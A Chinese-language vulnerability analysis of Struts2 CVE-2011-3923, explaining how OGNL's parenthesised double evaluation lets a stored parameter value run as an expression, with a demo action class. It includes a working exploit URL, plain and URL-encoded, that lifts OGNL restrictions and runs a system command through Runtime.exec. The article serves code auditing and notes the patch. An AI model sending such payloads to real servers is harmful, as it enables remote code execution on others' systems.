一、摘要

在Ognl表達式中，會將被括號“()”包含的變量內容當做Ognl表達式執行。Ognl表達式的這一特性，引發出一種新的攻擊思路。通過將惡意代碼存儲到變量中，然后在調用Ognl表達式的函數中使用這個變量來執行惡意的代碼，從而實現攻擊。

本文將會以CVE-2011-3923漏洞作為示例，描述這種利用思路的具體過程。但是，本文的內容絕不僅僅局限于這個漏洞，在實際的審計過程中，這種思路可以用來發現很多類似的漏洞。

二、背景介紹與原理分析

這個漏洞和CVE-2010-1870很相似，都是是通過Ognl表達式執行java，來達到遠程代碼執行的效果。我們先來回顧下CVE-2010-1870漏洞，它是攻擊者通過get方法提交Ognl表達式，直接來調用java的靜態方法來實現代碼執行。這個問題爆出來后，struts官方加強了對于用戶提交內容的審核，禁止使用“#”、“\”等特殊字符作為參數提交。

那么這樣我們就沒有辦法遠程執行Ognl表達式了嗎？當然不，Ognl給我們提供了另一種執行它的方法，我們來看下官方文檔中一部分的內容：

For example, this expression

#fact(30H)

looks up the fact variable, and interprets the value of that variable as an OGNL expression using the BigInteger representation of 30 as the rootobject. See below for an example of setting the fact variable with an expression that returns the factorial of its argument. Note that there is an ambiguity in OGNL's syntax between this double evaluation operator and a method call. OGNL resolves this ambiguity by calling anything that looks like a method call, a method call. For example, if the current object had a fact property that held an OGNL factorial expression, you could not use this approach to call it

fact(30H)

because OGNL would interpret this as a call to the fact method. You could force the interpretation you want by surrounding the property reference by parentheses:

(fact)(30H)

Ognl表達式給我們提供了“#fack()”這樣調用上下文對象方法的功能，我們需要留意的是紅色文字，大概的意思如下：如果你想要調用上下文環境中對象的方法，可以使用“(fact)()”這種格式來書寫。

而在測試過程中發現，(one)(two)這種形式的Ognl表達式，會先將one當做另一個Ognl表達式先執行一遍，然后再繼續他后面的工作。這樣的話，如果程序在調用某一可以執行Ognl表達式的函數時，我們通過變量將惡意的表達式傳入，那么，struts所做的那些過濾便成為了一扇“透明的門”。

三、實例模擬與跟蹤

在正常的調用中，我們找到了setValue這個函數，它的作用是根據Ognl表達式對目標進行賦值，在這個過程中Ognl表達式會執行。而struts2中通過在繼承ActionSupport的類中，設置setter和getter方法，可以實現用戶通過get和post方法直接為私有成員變量賦值。這種方法便會用到setValue這個函數。下面我們來搭建一個這樣的類：

package action;

import ognl.Ognl;

import com.opensymphony.xwork2.ActionSupport;

public class HelloWorld extends ActionSupport{

private String tang3;

public void settang3(String tang3) {

this.tang3 = tang3;

}

public String gettang3() {

return tang3;

}

public String execute() throws Exception {

System.out.println(tang3);

return SUCCESS;

}

}

上面的這段代碼只是簡單的實現了接受參數“tang3”，并將它的內容打印到控制臺中的功能。在跟蹤它的過程中發現，用戶提交的參數時，會通過調用com.opensymphony.xwork2.interceptor.ParametersInterceptor這個類中的set Parameters方法來獲取參數，而這個方法會調用setValue函數，代碼如下：

if (acceptableName) {

Object value = entry.getValue();

try {

stack.setValue(name, value); //紅色字體

} catch (RuntimeException e) {

注意紅色字體部分，name參數是Ognl表達式部分，value是被賦值的對象，而之前的CVE-2010-1870漏洞，也是通過這個函數執行的Ognl表達式。下面我們來看下如何結合前面講到的內容來讓這個函數執行我們需要的Java代碼。

按照之前我們所說的Ognl表達式特性，我們應該構造這樣的url：

/helloword.acton?tang3=<OGNL statement>&(tang3)('meh')=1

提交這樣的url后，web server將會做兩件事，第一，將Ognl表達式內容存進了tang3變量中；第二，名為(tang3)('meh')的http參數將會被當做另一個Ognl表達式執行，并且action屬性tang3將會從action中恢復內容，即變成了(<OGNL statement>)(‘meh’)。

因為http參數傳入到變量中會自動進行url解碼，那么我們便可以使用url編碼“#”這樣的特定字符，來繞過正則表達式的過濾。

在構造語句中還需要注意的一點就是，我們要確保tang3屬性中的內容先被執行。所以這里需要一個小技巧，在提交參數時，使用z[(tang3)(‘meh’)]=1這種形式的參數，可以確保tang3變量被首先執行。下面我們構造一條可以彈出計算器的url：

/helloworld.action?tang3=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]=true, @java.lang.Runtime@getRuntime().exec('calc'))(meh)&z[(tang3)('meh')]=1

url編碼后：

/helloworld.action?tang3=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess["allowStaticMethodAccess"]%3dtrue,%[email]20@java.lang.Runtime[/email]@getRuntime%28%29.exec%28%27calc%27%29%29%28meh%29&z[%28tang3%29%28%27meh%27%29]=1

效果如下圖：

[[106190]]

從最下面的紅色框中，我們可以看出，控制臺打印出的tang3變量的內容，就是我們剛才輸入的代碼。

四、總結

1. 這個漏洞的利用方法，存在局限性，目標代碼需要有一個私有成員變量可以直接通過http參數賦值。同時，攻擊者需要知道這個私有成員的名字。不過從代碼審計的角度來看，可以很容易發現這種問題。但是，由于大部分使用struts框架搭建的網站都是閉源的，導致很難進行白盒測試。

2. 這個問題在struts2.3.1.2版本之后便已經修復了，官方補丁的修復原文如下：

The regex pattern inside the ParameterInterceptor was changed to provide a more narrow space of acceptable parameter names.

Furthermore the new setParameter method provided by the value stack will allow no more eval expression inside the param names.

修復方法就是，進一步減少ParameterInterceptor中白名單包含的內容，并且禁止參數名執行正則表達式

3. Ognl表達式的強大，能夠明顯的從struts所爆出的這些漏洞中看出。只要存在調用Ognl表達式的函數，都有可能出現代碼執行問題。我在之前的《Struts2漏洞淺析之Ongl代碼執行分析》一文中，稱findValue為struts中的eval函數，明顯的有些狹隘了。Ognl表達式才稱得上是eval函數，在代碼的編寫的過程中要小心的處理它的表達式。

4. 再次重申在本文開始處所強調的，這篇文章并不僅僅局限于CVE-2011-3923這個漏洞，而且，它已經被修補了。本文的目的是，希望讀者能夠通過這個漏洞，了解到通過括號包裹變量，執行Ognl表達式這個特性，以此為我們在日后的審計增加一個思路。